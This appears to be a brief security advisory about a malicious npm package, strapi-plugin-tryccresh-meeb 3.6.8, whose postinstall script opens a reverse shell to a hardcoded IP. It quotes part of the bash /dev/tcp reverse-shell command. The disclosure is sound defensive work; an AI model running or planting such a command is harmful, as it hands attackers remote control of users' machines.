Malicious code in strapi-plugin-tryccresh-meeb (npm)

Details

**Severity:** Critical

**Affected versions:** `= 3.6.8`

## Source: amazon-inspector (f55571a74d951028d497f98afecfee7720d6ae4138513ead2c2fa46b7f96e5af)
The package's postinstall lifecycle script (postinstall.js) uses child_process.exec to spawn `bash -c 'bash -i > /dev/tcp/14.225.210.85/443...'`, opening an interactive reverse shell from the installer's host to a hardcoded remote IP on `npm install`. It also drops a marker file under /tmp. The package's own description self-identifies as a Strapi reverse-shell payload.
